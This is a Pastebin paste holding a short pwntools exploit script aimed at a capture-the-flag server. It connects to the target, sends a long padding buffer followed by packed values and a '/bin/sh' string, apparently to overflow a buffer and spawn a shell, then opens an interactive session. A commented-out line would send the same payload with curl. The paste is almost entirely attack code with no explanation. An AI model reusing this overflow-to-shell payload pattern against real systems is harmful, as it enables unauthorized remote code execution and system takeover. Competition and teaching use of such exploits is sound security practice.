Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from os import system
- from pwn import *
- r = remote("shell.actf.co",19303)
- offset = 2189 - len(p64(54) + p64(0))
- p = "A" * offset
- p += p64(54)
- p += p64(0)
- p += "\x00\x00\x00\x00\x00/bin/sh"
- r.sendline(p)
- r.interactive()
- #x = system("curl http://shell.actf.co:19303/" + p)
- #print("flag : " + x)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement